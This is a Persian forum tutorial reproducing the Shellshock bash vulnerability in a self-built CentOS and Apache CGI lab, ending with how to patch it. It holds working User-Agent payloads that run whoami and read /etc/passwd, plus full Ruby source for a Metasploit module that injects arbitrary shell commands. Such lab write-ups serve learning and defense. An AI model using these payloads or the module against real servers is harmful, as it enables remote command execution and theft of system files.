هک و امنیت پیاده سازی باگ Shell Shock

  • شروع کننده موضوع mehrnoush
  • بازدیدها 330
  • پاسخ ها 0
  • تاریخ شروع

mehrnoush

کاربر نگاه دانلود
کاربر نگاه دانلود
عضویت
2015/05/05
ارسالی ها
842
امتیاز واکنش
1,172
امتیاز
0
محل سکونت
نا کجا آباد
سلام . این باگ این روز ها سر و صدای زیادی کرده برای همین سعی می کنیم خودمون پیاده سازیش کنیم و نتایج دلخواه رو بیرون بکشیم .

سیستم عامل ها :
سرور آسیب پذیر : Cent OS 6.3
سیستم نفوذگر : Ubuntu 14.04 / Kali linux

مراحل تست و آزمایش :
0. تست آسیب پذیر بودن bash در Cent OS
1. نصب آپاچی
2. ایجاد یک اسکریپت
3. تست آسیب پذیری با استفاده از افزونه ی Custim User-Agent String By Arpit Kumar در فایرفاکس
4. تست آسیب پذیری با استفاده از متااسپلویت
5. نحوه ی بر طرف کردن این باگ در Cent OS

0. تست آسیب پذیر بودن bash در Cent OS :

برای تست این آسیب پذیری بر روی Cent OS و یا کلا هر سیستمی که از bash استفاده می کند , به این صورت عمل کنید :

کد:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
اگر خروجی ای مطابق عکس زیر یعنی :

کد:
vulnerable
this is a test
دریافت کردید , یعنی نسخه ی bash ای که استفاده می کنید آسیب پذیر است .


1. نصب آپاچی در Centos 6 :

آپاچی به صورت پیش فرض در مخازن centos وجود دارد . پس کافیست آن را با استفاده از yum نصب کنیم .

کد:
sudo yum install httpd
2. ایجاد یک اسکریپت ساده جهت تست :

با فرض فعال بودن CGI , به دایرکتوری زیر رفته و سپس اسکریپت ساده ی hello world زیر را در قالب یک فایل متنی با پسورد cgi. ایجاد کنید :

کد:
/var/www/cgi-bin/
کد:
#!/bin/bash
echo "Content-type: text/html"
##
echo ""
echo '<HTML>'
echo '<HEAD>'
echo '<TITLE>'
echo 'A Small Hello'
echo '</TITLE>'
echo '</HEAD>'
echo '<BODY>'
echo '<H1>http://Pazhoheshi.ir</H1>'
echo '<P>This is very minimal "hello world" HTML document.</P>'
echo '</BODY>'
echo '</HTML>'
##
exit 0
برای دیدن نتایج ( اسکریپتی که ایجاد کردید ) , از داخل مرورگر آدرس آی پی سرور را باز کنید و ( به عنوان مثال ) به مسیر زیر بروید :

کد:
Please, ورود or عضویت to view URLs content!


3. تست آسیب پذیری با استفاده از افزونه ی Custim User-Agent String By Arpit Kumar در فایرفاکس :

بعد از نصب افزونه کافیست از قسمت tools روی قسمت edit user agent کلیک کنید و در پنجره ی باز شده روی new کلیک کنید . حال ما در این جا دو user agent می سازیم !

اولی :

کد:
() { :;};echo;/usr/bin/whoami
بدین منظور که سطح دسترسی خودمون رو بدونیم ! طبیعتا وقتی قرار است bash script به واسطه ی آپاچی اجرا شود , یوزر ما نیز محدود و مربوط به آپاچی می باشد .

attachment.php

دومی :

کد:
() { :;};echo;/bin/cat /etc/passwd
همان طور که پیداست برنامه ی cat را از مسیر bin/cat/ جهت خواندن فایل passwd فراخوانده ایم .

توجه داشته باشید که برای استفاده از user agent ای که ساخته اید باید آن را از قسمت tools انتخاب کنید و سپس صفحه را یک را refresh دهید .


4. تست آسیب پذیری با استفاده از متااسپلویت :

برای این منظور ابتدا باید exploit زیر را به متااسپلویت اضافه کنیم :

کد:
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient


def initialize(info = {})
super(update_info(info,
'Name' => 'bashedCgi',
'Description' => %q{
Quick & dirty module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command.
},
'Author' =>
[
'Stephane Chazelas', # vuln discovery
'Shaun Colley <scolley at ioactive.com>' # metasploit module
],
'License' => MSF_LICENSE,
'References' => [ 'CVE', '2014-6271' ],
'Targets' =>
[
[ 'cgi', {} ]
],
'DefaultTarget' => 0,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' => { 'PAYLOAD' => 0 }
))

register_options(
[
OptString.new('TARGETURI', [true, 'Absolute path of BASH-based CGI', '/']),
OptString.new('CMD', [true, 'Command to execute', '/usr/bin/touch /tmp/metasploit'])
], self.class)
end

def run
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['TARGETURI'],
'agent' => "() { :;}; " + datastore['CMD']
})

if res && res.code == 200
print_good("Command sent - 200 received")
else
print_error("Command sent - non-200 reponse")
end
end
end
جهت اضافه کردن exploit ابتدا دایرکتوری های زیر را در home دایرکتوری پیش فرض یوزر ( روت ) ایجاد می کنیم : ( توجه داشته باشید که دو دایرکتوری exploits و shellshock را ما ایجاد کرده ایم پس می توانید از هر نام دیگری استفاده کنید )

کد:
root@kali:~# mkdir -p .msf4/modules/exploits/shellshock/
سپس فایل ruby بالا را با اسمی دلخواه در مسیر ایجاد شده ذخیره می کنیم .


کد:
root@kali:~# touch .msf4/modules/exploits/shellshock/exploit.rb
root@kali:~# nano .msf4/modules/exploits/shellshock/exploit.rb
حال اگر یک بار کنسول متااسپلویت را باز کنید خواهید دید که یک اکسپلویت به تعداد اکسپلویت ها اضافه شده است .

attachment.php

مقادیری که باید حتما آن ها را ست کنید عبارت اند از :

کد:
CMD / RHOST / RPORT / TARGETURI
مقدار rhost در را آی پی سرور آسیب پذیر و مقدار rport را پورتی که قرار است به وب سرور متصل شویم را قرار می دهیم .



نکته : مقدار rport به صورت پیش فرض 80 در نظر گرفته شده است چرا که به صورت پیش فرض پورت آپاچی 80 می باشد . اگر به وب سروی برخورد کردید که از پورت دیگری به جای 80 استفاده می کرد ( مثلا 8080 ) آن را تغییر دهید .



یک مقدار پیش فرض جهت CMD یا همان فرمانی که قرار است به صورت ریموت اجرا شود در نظر گرفته شده است که ما از همان استفاده می کنیم .



نکته : فرمان ما در back ground سیستم اجرا و بسته می شود ( چه برنامه درست کار کند چه غلط . چه دارای خروجی باشد و چه دارای خروجی نباشد ) در نتیجه وقتی این exploit را اجرا کنیم , نتیجه ی تغییرات را شاید نتونیم در کنسول ببینیم اما در پشت پرده روی سیستم فرمان اجرا شده است . به عنوان مثال همین ایجاد کردن فایل metasploit در مسیر tmp/



نکته : تمامی یوزر ها به دایرکتوری tmp/ دسترسی دارند با این تفاوت که هیچ یوزری نمی تواند فایل های دیگر یوزر ها را پاک کند مگر یوزر روت . پس با یوزر محدود آپاچی می توانیم فایل با اسم metasploit را در داخل آن ایجاد کنیم .



در نهایت با اجرای exploit خواهیم دید که یک فایل خالی به نام metasploit در دایرکتوری tmp/ واقع در سرور ایجاد شده است .


نکته : به قسمت Gid و Uid در عکس بالا توجه کنید .

5. نحوه ی بر طرف کردن این باگ در Cent OS :

درست است که آپدیت های Cent os کمی دیر تر از آپدیت های نسخه ی enterprise شرکت redhat بیرون می آید اما این بدان معنا نیست الان نتونیم با استفاده از دستور زیر این باگ را بر طرف کنیم !

کد:
sudo yum update bash
حال اگر دوباره تست قسمت 0 را انجام دهید , خواهید دید که عبارت vulnerable در خروجی چاپ نخواهد شد و exploit ای که در بالا توضیح داده شد دیگر بر روی سرور کار نخواهد کرد .

Please, ورود or عضویت to view URLs content!

 

برخی موضوعات مشابه

بالا